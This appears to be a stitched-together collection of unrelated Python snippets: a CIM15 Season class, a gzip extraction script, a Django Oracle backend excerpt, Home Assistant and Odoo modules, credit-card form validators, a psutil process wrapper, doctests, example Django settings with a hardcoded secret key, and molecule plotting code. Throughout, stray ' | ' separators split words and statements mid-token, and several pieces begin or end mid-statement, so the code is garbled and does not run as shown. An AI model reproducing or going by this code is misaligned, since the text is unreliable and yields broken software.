#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
from CIM15.Element import Element
class Season(Element):
"""A specified time period of the year, e.g., Spring, Summer, Fall, W | interA specifie | d time period of the year, e.g., Spring, Summer, Fall, Winter
"""
def __init__(self, name="winter", startDate='', endDate='', SeasonDayTypeSchedules=None, *args, **kw_args):
"""Initialises a new 'Season' instance.
@param name: Name of the Season Values are: "winter", "summer", "fall", "spring"
@param startDate: Date season starts
@param endDate: Date season ends
@param SeasonDayTypeSchedules: Schedules that use this Season.
"""
#: Name of the Season Values are: "winter", "summer", "fall", "spring"
self.name = name
#: Date season starts
self.startDate = startDate
#: Date season ends
self.endDate = endDate
self._SeasonDayTypeSchedules = []
self.SeasonDayTypeSchedules = [] if SeasonDayTypeSchedules is None else SeasonDayTypeSchedules
super(Season, self).__init__(*args, **kw_args)
_attrs = ["name", "startDate", "endDate"]
_attr_types = {"name": str, "startDate": str, "endDate": str}
_defaults = {"name": "winter", "startDate": '', "endDate": ''}
_enums = {"name": "SeasonName"}
_refs = ["SeasonDayTypeSchedules"]
_many_refs = ["SeasonDayTypeSchedules"]
def getSeasonDayTypeSchedules(self):
"""Schedules that use this Season.
"""
return self._SeasonDayTypeSchedules
def setSeasonDayTypeSchedules(self, value):
for x in self._SeasonDayTypeSchedules:
x.Season = None
for y in value:
y._Season = self
self._SeasonDayTypeSchedules = value
SeasonDayTypeSchedules = property(getSeasonDayTypeSchedules, setSeasonDayTypeSchedules)
def addSeasonDayTypeSchedules(self, *SeasonDayTypeSchedules):
for obj in SeasonDayTypeSchedules:
obj.Season = self
def removeSeasonDayTypeSchedules(self, *SeasonDayTypeSchedules):
for obj in SeasonDayTypeSchedules:
obj.Season = None
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import argparse
import shutil
import urllib2
from contextlib import closing
from os.path import basename
import gzip
import tarfile
# argparse for information
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--directory", help="input directory")
parser.add_argument("-r", "--remove", action="store_true", help="removes the .gz file after extracting" | )
args = parser.parse_args()
# sanity check
if not len( | sys.argv) > 1:
print "This script extracts all .gz files (not jet .tar) in a given directory, including sub directories."
print "Which directory (including sub directories) would you like to extract?"
parser.print_help()
sys.exit(0)
input = args.directory
# in case of a extraction error, caused by a downloading error, reload the file
def reload_file(file, dirpath):
print "reloading file: " + file
print 'ftp://ftp.rcsb.org/pub/pdb/data/structures/divided/' + dirpath + "/" + file
with closing(urllib2.urlopen('ftp://ftp.rcsb.org/pub/pdb/data/structures/divided/' + dirpath + "/" + file)) as r:
with open(dirpath + "/" + file, 'wb') as reloaded_file:
shutil.copyfileobj(r, reloaded_file)
with gzip.open((os.path.join(dirpath, file)), 'rb') as f:
file_content = f.read()
extracted_file = open((os.path.join(dirpath, os.path.splitext(file)[0])), 'w')
extracted_file.write(file_content)
extracted_file.close()
for dirpath, dir, files in os.walk(top=input):
for file in files:
if ".gz" in file:
print "extracting: " + (os.path.join(dirpath, file))
try:
with gzip.open((os.path.join(dirpath, file)), 'rb') as f:
file_content = f.read()
extracted_file = open((os.path.join(dirpath, os.path.splitext(file)[0])), 'w')
extracted_file.write(file_content)
extracted_file.close()
# tar = tarfile.open(os.path.join(dirpath, file))
# tar.extractall(path=dirpath)
# tar.close()
except:
reload_file(file, dirpath)
if args.remove:
os.remove(os.path.join(dirpath, file))
print "Extraction finished"
|
from multiprocessing import Process,Queue
import os
class TestMP:
def __init__(self,n):
self.n = n
@staticmethod
def worker(q):
"""worker function"""
# print('worker',*args)
# print("ppid= {} pid= {}".format(os.getppid(),os.getpid()))
q.put([1,'x',(os.getpid(),[])])
return
def main(self):
if __name__ == '__main__':
jobs = []
for i in range(self.n):
q = Queue()
p = Process(target=s | elf.worker,args=(q,))
jobs.append((p,q))
p.start | ()
for i in range(self.n):
j=jobs.pop(0)
j[0].join()
msg = j[1].get()
print("job no {} ended, msg: {}".format(i,msg))
m=TestMP(10)
m.main()
|
arams):
conn_string = convert_unicode(self._connect_string())
return Database.connect(conn_string, **conn_params)
def init_connection_state(self):
cursor = self.create_cursor()
# Set the territory first. The territory overrides NLS_DATE_FORMAT
# and NLS_TIMESTAMP_FORMAT to the territory default. When all of
# these are set in single statement it isn't clear what is supposed
# to happen.
cursor.execute("ALTER SESSION SET NLS_TERRITORY = 'AMERICA'")
# Set Oracle date to ANSI date format. This only needs to execute
# once when we create a new connection. We also set the Territory
# to 'AMERICA' which forces Sunday to evaluate to a '1' in
# TO_CHAR().
cursor.execute(
"ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'"
" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'"
+ (" TIME_ZONE = 'UTC'" if settings.USE_TZ else ''))
cursor.close()
if 'operators' not in self.__dict__:
# Ticket #14149: Check whether our LIKE implementation will
# work for this connection or we need to fall back on LIKEC.
# This check is performed only once per DatabaseWrapper
# instance per thread, since subsequent connections will use
# the same settings.
cursor = self.create_cursor()
try:
cursor.execute("SELECT 1 FROM DUAL WHERE DUMMY %s"
% self._standard_operators['contains'],
['X'])
except DatabaseError:
self.operators = self._likec_operators
self.pattern_ops = self._likec_pattern_ops
else:
self.operators = self._standard_operators
self.pattern_ops = self._standard_pattern_ops
cursor.close()
try:
self.connection.stmtcachesize = 20
except AttributeError:
# Django docs specify cx_Oracle version 4.3.1 or higher, but
# stmtcachesize is available only in 4.3.2 and up.
pass
# Ensure all changes are preserved even when AUTOCOMMIT is False.
if not self.get_autocommit():
self.commit()
def create_cursor(self):
return FormatStylePlaceholderCursor(self.connection)
def _commit(self):
if self.connection is not None:
try:
return self.connection.commit()
except Database.DatabaseError as e:
# cx_Oracle 5.0.4 raises a cx_Oracle.DatabaseError exception
# with the following attributes and values:
# code = 2091
# message = 'ORA-02091: transaction rolled back
# 'ORA-02291: integrity constraint (TEST_DJANGOTEST.SYS
# _C00102056) violated - parent key not found'
# We convert that particular case to our IntegrityError exception
x = e.args[0]
if hasattr(x, 'code') and hasattr(x, 'message') \
and x.code == 2091 and 'ORA-02291' in x.message:
six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
raise
# Oracle doesn't support releasing savepoints. But we fake them when query
# logging is enabled to keep query counts consistent with other backends.
def _savepoint_commit(self, sid):
if self.queries_logged:
self.queries_log.append({
'sql': '-- RELEASE SAVEPOINT %s (faked)' % self.ops.quote_name(sid),
'time': '0.000',
})
def _set_autocommit(self, autocommit):
with self.wrap_database_errors:
self.connection.autocommit = autocommit
def check_constraints(self, table_names=None):
"""
To check constraints, we set constraints to immediate. Then, when, we're done we must ensure they
are returned to deferred.
"""
self.cursor().execute('SET CONSTRAINTS ALL IMMEDIATE')
self.cursor().execute('SET CONSTRAINTS ALL DEFERRED')
def is_usable(self):
try:
self.connection.ping()
except Database.Error:
return False
else:
return True
@cached_property
def oracle_full_version(self):
with self.temporary_connection():
return self.connection.version
@cached_property
def oracle_version(self):
try:
| return int(self.oracle_full_version.split('.')[0])
except ValueError:
return None
class OracleParam(ob | ject):
"""
Wrapper object for formatting parameters for Oracle. If the string
representation of the value is large enough (greater than 4000 characters)
the input size needs to be set as CLOB. Alternatively, if the parameter
has an `input_size` attribute, then the value of the `input_size` attribute
will be used instead. Otherwise, no input size will be set for the
parameter when executing the query.
"""
def __init__(self, param, cursor, strings_only=False):
# With raw SQL queries, datetimes can reach this function
# without being converted by DateTimeField.get_db_prep_value.
if settings.USE_TZ and (isinstance(param, datetime.datetime) and
not isinstance(param, Oracle_datetime)):
if timezone.is_aware(param):
warnings.warn(
"The Oracle database adapter received an aware datetime (%s), "
"probably from cursor.execute(). Update your code to pass a "
"naive datetime in the database connection's time zone (UTC by "
"default).", RemovedInDjango20Warning)
param = param.astimezone(timezone.utc).replace(tzinfo=None)
param = Oracle_datetime.from_datetime(param)
if isinstance(param, datetime.timedelta):
param = duration_string(param)
if ' ' not in param:
param = '0 ' + param
string_size = 0
# Oracle doesn't recognize True and False correctly in Python 3.
# The conversion done below works both in 2 and 3.
if param is True:
param = 1
elif param is False:
param = 0
if hasattr(param, 'bind_parameter'):
self.force_bytes = param.bind_parameter(cursor)
elif isinstance(param, Database.Binary):
self.force_bytes = param
else:
# To transmit to the database, we need Unicode if supported
# To get size right, we must consider bytes.
self.force_bytes = convert_unicode(param, cursor.charset,
strings_only)
if isinstance(self.force_bytes, six.string_types):
# We could optimize by only converting up to 4000 bytes here
string_size = len(force_bytes(param, cursor.charset, strings_only))
if hasattr(param, 'input_size'):
# If parameter has `input_size` attribute, use that.
self.input_size = param.input_size
elif string_size > 4000:
# Mark any string param greater than 4000 characters as a CLOB.
self.input_size = Database.CLOB
else:
self.input_size = None
class VariableWrapper(object):
"""
An adapter class for cursor variables that prevents the wrapped object
from being converted into a string when used to instantiate an OracleParam.
This can be used generally for any other object that should be passed into
Cursor.execute as-is.
"""
def __init__(self, var):
self.var = var
def bind_parameter(self, cursor):
return self.var
def __getattr__(self, key):
return getattr(self.var, key)
def __setattr__(self, key, value):
if key == 'var':
self.__dict__[key] = value
else:
setattr(self.var, key, value)
class FormatStylePlaceholderCurs |
"""Services for ScreenLogic integration."""
import logging
from screenlogicpy import ScreenLogicError
import voluptuous as vol
from homeassistant.core import HomeAssistant, ServiceCall, callback
from homeassistant.exceptions import HomeAssistantError
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.service import async_extract_config_entry_ids
from .const import (
ATTR_COLOR_MODE,
DOMAIN,
SERVICE_SET_COLOR_MODE,
SUPPORTED_COLOR_MODES,
)
_LOGGER = logging.getLogger(__name__)
SET_COLOR_MODE_SCHEMA = cv.make_entity_service_schema(
{
vol.Required(ATTR_COLOR_MODE): vol.In(SUPPORTED_COLOR_MODES),
},
)
@callback
def async_load_screenlogic_services(hass: HomeAssistant):
"""Set up services for the ScreenLogic integration."""
if hass.services.has_service(DOMAIN, SERVICE_SET_COLOR_MODE):
# Integration-level services have already been added. Return.
return
async def extract_screenlogic_config_entry_ids(service_call: ServiceCall):
return [
entry_id
for entry_id in await async_extract_config_entry_ids(hass, service_call)
if (entry := hass.config_entries.async_get_entry(entry_id))
and entry.domain == DOMAIN
]
async def async_set_color_mode(service_call: ServiceCall) -> None:
if not (
screenlogic_entry_ids := await extract_screenlogic_config_entry_ids(
service_call
)
):
raise HomeAssistantError(
f"Failed to call service '{SERVICE_SET_COLOR_MODE}'. Config entry for target not found"
)
color_num = SUPPORTED_COLOR_MODES[service_call.data[ATTR_COLOR_MODE]]
for entry_id in screenlogic_entry_ids:
coordinator = hass.data[DOMAIN][entry_id]
_LOGGER.debug(
"Service %s called on %s with mode %s",
SERVICE_SET_COLOR_MODE,
coordinator.gateway.name,
color_num,
)
try:
if not await coordinator.gateway.async_set_color_lights(color_num):
raise HomeAssistantError(
| f"Failed to call service '{SERVICE_SET_COLOR_MODE}'"
| )
# Debounced refresh to catch any secondary
# changes in the device
await coordinator.async_request_refresh()
except ScreenLogicError as error:
raise HomeAssistantError(error) from error
hass.services.async_register(
DOMAIN, SERVICE_SET_COLOR_MODE, async_set_color_mode, SET_COLOR_MODE_SCHEMA
)
@callback
def async_unload_screenlogic_services(hass: HomeAssistant):
"""Unload services for the ScreenLogic integration."""
if hass.data[DOMAIN]:
# There is still another config entry for this domain, don't remove services.
return
if not hass.services.has_service(DOMAIN, SERVICE_SET_COLOR_MODE):
return
_LOGGER.info("Unloading ScreenLogic Services")
hass.services.async_remove(domain=DOMAIN, service=SERVICE_SET_COLOR_MODE)
|
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import models, _
from odoo.addons.http_routing.models.ir_http import url_for
class Website(models.Model):
_inherit = "website"
def get_ | suggested_controllers(self):
suggested_controllers = super(Website, self).get_suggested_controllers()
suggested_controllers.append((_('Events'), url_for('/event'), 'website_event'))
return suggested_contr | ollers
|
from unittest import TestCase
from netcontrol.util import single | ton
@singleton
class SingletonClass(object):
pass
@singleton
class SingletonClassWithAttributes(object):
@classmethod
def setup_attributes(cls):
cls.value = 1
class SingletonTest(TestCase):
def test_that_only_instance_is_created(self):
obj_one = SingletonClass()
obj_two = SingletonClass()
self.assertIs(obj_one, obj_two)
def test_that_instance_is_create | d_using_setup_method(self):
obj = SingletonClassWithAttributes()
self.assertEqual(1, obj.value)
|
import re
from datetime import date
from calendar import monthrange, IllegalMonthError
from django import forms
from django.conf import settings
from django.utils.translation import ugettext_lazy as _
# from - https://github.com/bryanchow/django-creditcard-fields
CREDIT_CARD_RE = r'^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\d{11})$'
MONTH_FORMAT = getattr(settings, 'MONTH_FORMAT', '%b')
VERIFICATION_VALUE_RE = r'^([0-9]{3,4})$'
class CreditCardField(forms.CharField):
"""
Form field that validates credit card numbers.
"""
default_error_messages = {
'required': _(u'Please enter a credit card number.'),
'invalid': _(u'The credit card number you entered is invalid.'),
}
def clean(self, value):
value = value.replace(' ', '').replace('-', '')
if self.required and not value:
raise forms.util.ValidationError(self.error_messages['required'])
if value and not re.match(CREDIT_CARD_RE, value):
raise forms.util.ValidationError(self.error_messages['invalid'])
return value
class ExpiryDateWidget(forms.MultiWidget):
"""
Widget containing two select boxes for selecting the month and year.
"""
def decompress(self, value):
return [value.month, value.year] if value else [None, None]
def format_output(self, rendered_widgets):
return u'<div class="expirydatefield">%s</div>' % ' '.join(rendered_widgets)
class ExpiryDateField(forms.MultiValueField):
"""
Form field that validates credit card expiry dates.
"""
default_error_messages = {
'invalid_month': _(u'Please enter a valid month.'),
'invalid_year': _(u'Please enter a valid year.'),
'date_passed': _(u'This expiry date has passed.'),
}
def __init__(self, *args, **kwargs):
today = date.today()
error_messages = self.default_error_messages.copy()
if 'error_messages' in kwargs:
error_messages.update(kwargs['error_messages'])
if 'initial' not in kwargs:
# Set default expiry date based on current month and year
kwargs['initial'] = today
months = [(x, '%02d (%s)' % (x, date(2000, x, 1).strftime(MONTH_FORMAT))) for x in xrange(1, 13)]
years = [(x, x) for x in xrange(today.year, today.year + 15)]
fields = (
forms.ChoiceField(choices=months, error_messages={'invalid': error_messages['invalid_month']}),
forms.ChoiceField(choices=years, error_messages={'invalid': error_messages['invalid_year']}),
)
super(ExpiryDateField, self).__init__(fields, *args, **kwargs)
self.widget = ExpiryDateWidget(widgets=[fields[0].widget, fields[1].widget])
def clean(self, value):
expiry_date = super(ExpiryDateField, self).clean(value)
if date.today() > expiry_date:
raise forms.ValidationError(self.error_messages['date_passed'])
return expiry_date
def compress(self, data_list):
if data_list:
try:
month = int(data_list[0])
except (ValueError, TypeError):
raise forms.ValidationError(self.error_messages['invalid_month'])
try:
year = int(data_list[1])
except (ValueError, TypeError):
raise forms.ValidationError(self.error_messages['invalid_year'])
try:
day = monthrange(year, month)[1] # last day of the month
except IllegalMonthError:
raise forms.ValidationError(self.error_messages['invalid_month'])
except ValueError:
raise forms.ValidationError(self.error_messages['invalid_year'])
return date(year, month, day)
return None
class VerificationValueField(forms.CharField):
"""
Form field that validates credit card verification values (e.g. CVV2).
See http://en.wikipedia.org/wiki/Card_Security_Code
"""
widget = forms.TextInput(attrs={'maxlength': 4})
default_error_messages = {
'required': _(u'Please enter the three- or four-digit verification code for your credit card.'),
'invalid': _(u'The verification value you entered is invalid.'),
}
def clean(self, value):
value = value.replace(' ', '')
if not val | ue and self.required:
raise forms.util.ValidationError(self.error_messages['required'])
if value and not re.match(VERIFICATION_VALUE_RE, value):
raise f | orms.util.ValidationError(self.error_messages['invalid'])
return value
|
ICULAR PURPOSE. See the GNU General
# Public License for more details. You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
#
from .collections import ProcessesCollection
from .FilenameCleaner import FilenameCleaner
import psutil
import datetime
import time
import os
import re
from subprocess import PIPE, Popen
from threading import Timer
from six import with_metaclass
class Processes(object):
# psutil 3.x to 1.x backward compatibility
@staticmethod
def pids():
try:
return psutil.pids()
except AttributeError:
return psutil.get_pid_list()
@staticmethod
def all():
processes = ProcessesCollection()
for pid in Processes.pids():
try:
processes.append(Process(pid))
except psutil.NoSuchProcess: pass
except psutil.AccessDenied: pass
return processes
class ProcessWrapper(object):
"""
Wrapper for ``psutil.Process class``
Library ``psutil`` is not backward compatible from version 2.x.x to 1.x.x.
Purpose of this class is cover incompatibility in ``psutil.Process`` class and
provide interface of new version. It allows using new interface even with
old version of ``psutil``.
Note that, for performance reasons, process information is cached at
object creation. To force a refresh, invoke the ``rebuild_cache()``
method.
"""
def __init__(self, pid=None):
self._process = psutil.Process(pid)
self.rebuild_cache()
def __nonzero__(self):
return bool(self._process)
def rebuild_cache(self):
self._procdict = self._process.as_dict(attrs=['name', 'exe', 'cmdline', 'ppid', 'username', 'create_time'])
def name(self):
# Special case for sshd, if its cmd contains the execuatable is must be the daemon
# else must be the session.
try:
if self._attr("name") == 'sshd':
if self._attr("exe") not in self._attr("cmdline") and len(self._attr("cmdline")) > 1:
return 'ssh-{0}-session'.format(re.split(' |@',' '.join(self._attr("cmdline")))[1])
except psutil.AccessDenied:
pass
return self._attr("name")
def exe(self):
return self._attr("exe")
def cmdline(self):
return self._attr("cmdline")
def ppid(self):
return self._attr("ppid")
def parent(self):
return self._attr("parent")
def username(self):
return self._attr("username")
def create_time(self):
return self._attr("create_time")
def children(self, recursive=False):
key = 'children-{0}'.format(recursive)
if key not in self._procdict:
try:
self._procdict[key] = self._process.children(recursive)
except AttributeError:
self._procdict[key] = self._process.get_children(recursive)
return self._procdict[key]
def _attr(self, name):
if name not in self._procdict:
attr = getattr(self._process, name)
try:
self._procdict[name] = attr()
except TypeError:
self._procdict[name] = attr
return self._procdict[name]
def __getattr__(self, item):
return getattr(self._process, item)
# psutil 3.x to 1.x backward compatibility
def memory_maps(self, grouped=True):
key = 'memory_maps-{0}'.format(grouped)
if key not in self._procdict:
try:
self._procdict[key] = self._process.memory_maps(grouped=grouped)
except AttributeError:
self._procdict[key] = self._process.get_memory_maps(grouped=grouped)
return self._procdict[key]
class ProcessMeta(type):
"""
Caching metaclass that ensures that only one ``Process`` object is ever
instantiated for any given PID. The cache can be cleared by calling
``Process.reset_cache()``.
Based on https://stackoverflow.com/a/33458129
"""
def __init__(cls, name, bases, attributes):
super(ProcessMeta, cls).__init__(name, bases, attributes)
def reset_cache():
cls._cache = {}
reset_cache()
setattr(cls, 'reset_cache', reset_cache)
def __call__(cls, *args, **kwargs):
pid = args[0]
if pid not in cls._cache:
self = cls.__new__(cls, *args, **kwargs)
cls.__init__(self, *args, **kwargs)
cls._cache[pid] = self
return cls._cache[pid]
class Process(with_metaclass(ProcessMeta, ProcessWrapper)):
"""
Represent the process instance uniquely identifiable through PID
For all class properties and methods, please see
http://pythonhosted.org/psutil/#process-class
Below listed are only reimplemented ones.
For performance reasons, instances are cached based on PID, and
multiple instantiations of a ``Process`` object with the same PID will
return the same object. To clear the cache, invoke
``Process.reset_cache()``. Additionally, as with ``ProcessWrapper``,
process information is cached at object creation. To force a refresh,
invoke the ``re | build_cache()`` method on the object.
"""
def __eq__(self, process):
"""For our purposes, two processes are equal when they have same name"""
return self.pid == process.pid
def __ne__(self, process):
return not self.__eq__(process)
def __hash__(self):
return hash(self.pid)
@staticmethod
def safe_isfile(file_path, timeout=0.5):
"""
Process arguments could be referring to files on remote filesystems and
os.path.isfile will hang fo | rever if the shared FS is offline.
Instead, use a subprocess that we can time out if we can't reach some file.
"""
process = Popen(['test', '-f', file_path], stdout=PIPE, stderr=PIPE)
timer = Timer(timeout, process.kill)
try:
timer.start()
process.communicate()
return process.returncode == 0
finally:
timer.cancel()
@property
def files(self):
files = []
# Files from memory maps
for mmap in self.memory_maps():
files.append(FilenameCleaner.strip(mmap.path))
# Process arguments
for arg in self.cmdline()[1:]:
if not os.path.isabs(arg):
continue
if Process.safe_isfile(arg):
files.append(arg)
return sorted(files)
def parent(self):
"""The parent process casted from ``psutil.Process`` to tracer ``Process``"""
if self.ppid():
return Process(self.ppid())
return None
def username(self):
"""The user who owns the process. If user was deleted in the meantime,
``None`` is returned instead."""
# User who run the process can be deleted
try:
return super(Process, self).username()
except KeyError:
return None
def children(self, recursive=False):
"""The collection of process's children. Each of them casted from ``psutil.Process``
to tracer ``Process``."""
children = super(Process, self).children(recursive)
return ProcessesCollection([Process(child.pid) for child in children])
@property
def exe(self):
"""The absolute path to process executable. Cleaned from arbitrary strings
which appears on the end."""
# On Gentoo, there is #new after some files in lsof
# i.e. /usr/bin/gvim#new (deleted)
exe = super(Process, self).exe()
if exe.endswith('#new'):
exe = exe[0:-4]
# On Fedora, there is something like ;541350b3 after some files in lsof
if ';' in exe:
exe = exe[0:exe.index(';')]
return exe
@property
def is_interpreted(self):
# @TODO implement better detection of interpreted processes
return self.name() in ["python"]
@property
def is_session(self):
terminal = self.terminal()
if terminal is None:
return None
parent = self.parent()
if parent is None or terminal != parent.terminal():
return True
@property
def real_name(self):
if self.is_interpreted:
for arg in self.cmdline()[1:]:
if os.path.isfile(arg):
return os.path.basename(arg)
return self.name()
@property
def str_started_ago(self):
"""
The time of how long process is running. Returned as string
in format ``XX unit`` where unit is one of
``days`` | ``hours`` | ``minutes`` | ``seconds``
"""
now = datetime.datetime.fromtimestamp(time.time())
started = datetime.datetime.fromtimestamp(self.create_time())
started = now - started
started_str = ""
if started.days > 0:
started_str = str(started.days) + " days"
elif started.seconds >= 60 * 60:
started_str = str(int(started.seconds / (60 * 60))) + " hours"
elif started.seconds >= 60:
started_str = str(int(started.seconds / 60)) + " minutes"
elif started.seconds >= 0:
started_str = str(int(star |
#!/usr/bin/env python
#
# vim:syntax=python:sw=4:ts=4:expandtab
"""
test hasAttributes()
---------------------
>>> from guppy import hasAttributes
>>> class Foo(object):
... def __init__(self):
... self.a = 23
... self.b = 42
>>> hasAttributes('a')(Foo())
True
>>> hasAtt | ributes('b')(Foo())
True
>>> hasAttributes('a', ' | b')(Foo())
True
>>> hasAttributes('c')(Foo())
False
"""
"""
test hasMethods()
-----------------
>>> from guppy import hasMethods
>>> class Bar(object):
... def a(self): return 23
... def b(self): return 42
>>> hasMethods('a')(Bar())
True
>>> hasMethods('b')(Bar())
True
>>> hasMethods('b', 'a')(Bar())
True
>>> hasMethods('c')(Bar())
False
"""
"""
test isInstanceOf()
-------------------
>>> from guppy import isInstanceOf
>>> class BA(object): pass
>>> class BB(object): pass
>>> class C(BA, BB): pass
>>> isInstanceOf(str)("test")
True
>>> isInstanceOf(list)([1,2,3])
True
>>> isInstanceOf(dict)(dict(a = 23))
True
>>> isInstanceOf(BA, BB, C)(C())
True
>>> isInstanceOf(int)("test")
False
>>> isInstanceOf(list)("test")
False
>>> isInstanceOf(BB, C)(BA())
False
"""
"""
test implementProtocol()
------------------------
>>> from guppy import implementProtocol, Protocol
>>> class FooBarProtocol(Protocol):
... def foo(): pass
... def bar(): pass
>>> class SpamEggsProtocol(Protocol):
... def spam(): pass
... def eggs(): pass
>>> class AllProtocol(FooBarProtocol, SpamEggsProtocol): pass
>>> class FooBar(object):
... def foo(): pass
... def bar(): pass
>>> class SpamEggs(object):
... def spam(): pass
... def eggs(): pass
>>> class AllInherit(FooBar, SpamEggs): pass
>>> class All(object):
... def foo(): pass
... def bar(): pass
... def spam(): pass
... def eggs(): pass
>>> implementProtocol(FooBarProtocol)(FooBar())
True
>>> implementProtocol(SpamEggsProtocol)(FooBar())
False
>>> implementProtocol(AllProtocol)(FooBar())
False
>>> implementProtocol(SpamEggsProtocol)(SpamEggs())
True
>>> implementProtocol(FooBarProtocol)(SpamEggs())
False
>>> implementProtocol(AllProtocol)(SpamEggs())
False
>>> implementProtocol(SpamEggsProtocol)(All())
True
>>> implementProtocol(FooBarProtocol)(All())
True
>>> implementProtocol((SpamEggsProtocol, FooBarProtocol))(All())
True
>>> implementProtocol(AllProtocol)(All())
True
>>> implementProtocol(SpamEggsProtocol)(AllInherit())
True
>>> implementProtocol(FooBarProtocol)(AllInherit())
True
>>> implementProtocol((SpamEggsProtocol, FooBarProtocol))(AllInherit())
True
>>> implementProtocol(AllProtocol)(AllInherit())
True
>>> implementProtocol(SpamEggsProtocol)('')
False
>>> implementProtocol(FooBarProtocol)('')
False
>>> implementProtocol(AllProtocol)('')
False
>>> implementProtocol(str)('')
True
>>> implementProtocol(list)('')
False
>>> implementProtocol(list)([])
True
>>> implementProtocol(str)([])
False
>>> implementProtocol(dict)({})
True
>>> implementProtocol(list)({})
False
"""
|
from tempfile import gettempdir
from os.path import join, dirname
import example_project
ADMINS = (
)
MANAGERS = ADMINS
DEBUG = True
TEMPLATE_DEBUG = DEBUG
DISABLE_CACHE_TEMPLATE = DEBUG
DATABASE_ENGINE = 'sqlite3'
DATABASE_NAME = join(gettempdir(), 'django_ratings_example_project.db')
TEST_DATABASE_NAME =join(gettempdir(), 'test_django_ratings_example_project.db')
DATABASE_USER = ''
DATABASE_PASSWORD = ''
DATABASE_HOST = ''
DATABASE_PORT = ''
TIME_ZONE = 'Europe/Prague'
LANGUAGE_ | CODE = 'en-us'
SITE_ID = 1
US | E_I18N = True
# Make this unique, and don't share it with anybody.
SECRET_KEY = '88b-01f^x4lh$-s5-hdccnicekg07)niir2g6)93!0#k(=mfv$'
EMAIL_SUBJECT_PREFIX = 'Example project admin: '
# templates for this app
DEBUG = True
TEMPLATE_DEBUG = DEBUG
DISABLE_CACHE_TEMPLATE = DEBUG
# TODO: Fix logging
# init logger
#LOGGING_CONFIG_FILE = join(dirname(testbed.__file__), 'settings', 'logger.ini')
#if isinstance(LOGGING_CONFIG_FILE, basestring) and isfile(LOGGING_CONFIG_FILE):
# logging.config.fileConfig(LOGGING_CONFIG_FILE)
# LOGGING_CONFIG_FILE = join( dirname(__file__), 'logger.conf')
# we want to reset whole cache in test
# until we do that, don't use cache
CACHE_BACKEND = 'dummy://'
# session expire
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
# disable double render in admin
# DOUBLE_RENDER = False
MEDIA_ROOT = join(dirname(example_project.__file__), 'static')
MEDIA_URL = '/static/'
ADMIN_MEDIA_PREFIX = '/static/admin_media/'
|
openAtoms = [x for x in face.atoms if x not in face.closed]
plt.plot(face.pos[0],face.pos[1], 'rx', markersize=15., zorder=-2)
plt.scatter(posList[openAtoms][:,0], posList[openAtoms][:,1], s=75., c='red')
plt.scatter(posList[face.closed][:,0], posList[face.closed][:,1], s=40, c='purple')
plt.annotate(i, (face.pos[0]-.35*face.norm[0], face.pos[1]-.35*face.norm[1]),
color='r', fontsize=20)
if np.linalg.norm(face.norm[:2]) > 0.0001:
plt.quiver(face.pos[0]+.5*face.norm[0], face.pos[1]+.5*face.norm[1], 5.*face.norm[0], 5.*face.norm[1],
color='r', headwidth=1, units='width', width=5e-3, headlength=2.5)
if order:
for index, bo in enumerate(molecule.bondorder):
i,j = molecule.bondList[index]
midpoint = (molecule.posList[i]+molecule.posList[j])/2.
plt.annotate(bo, (midpoint[0], midpoint[1]), color='k', fontsize=20)
fig.suptitle(figTitle, fontsize=18)
plt.axis('equal')
plt.xlabel('x-position', fontsize=13)
plt.ylabel('y-position', fontsize=13)
plt.show()
def bondsax(molecule, ax, sites=False, indices=False, faces=False, order=False,
atomtypes=False, linewidth=4., size_scale=1.):
"""Draw a 2d 'overhead' view of a molecule."""
plt.sca(ax)
posList = molecule.posList
length = len(molecule)
for bond in molecule.bondList:
i,j = bond
plt.plot([posList[i][0],posList[j][0]],
[posList[i][1],posList[j][1]],
color='k', zorder=-1, linewidth=linewidth)
cList = np.zeros([length,3])
if sites:
for count in range(len(molecule)):
cList[count] = colors.hex2color(colors.cnames[atomColors[molecule.zList[count]]])
plt.scatter(posList[:,0],posList[:,1],s=1.5*radList[molecule.zList]*size_scale,c=cList,
edgecolors='k')
if indices:
for index, pos in enumerate(molecule.posList):
plt.annotate(index, (pos[0]+.1, pos[1]+.1), color='b', fontsize=10)
if atomtypes:
for atomtype, pos in zip(molecule.atomtypes, molecule.posList):
plt.annotate(atomtype, (pos[0]-.5, pos[1]-.5), color='b', fontsize=10)
if faces:
for i,face in enumerate(molecule.faces):
openAtoms = [x for x in face.atoms if x not in face.closed]
plt.plot(face.pos[0],face.pos[1], 'rx', markersize=15., zorder=-2)
plt.scatter(posList[openAtoms][:,0], posList[openAtoms][:,1], s=75., c='red')
plt.scatter(posList[face.closed][:,0], posList[face.closed][:,1], s=40, c='purple')
plt.annotate(i, (face.pos[0]-.35*face.norm[0], face.pos[1]-.35*face.norm[1]),
color='r', fontsize=20)
if np.linalg.norm(face.norm[:2]) > 0.0001:
plt.quiver(face.pos[0]+.5*face.norm[0], face.pos[1]+.5*face.norm[1], 5.*face.norm[0], 5.*face.norm[1],
color='r', headwidth=1, units='width', width=5e-3, headlength=2.5)
if order:
for index, bo in enumerate(molecule.bondorder):
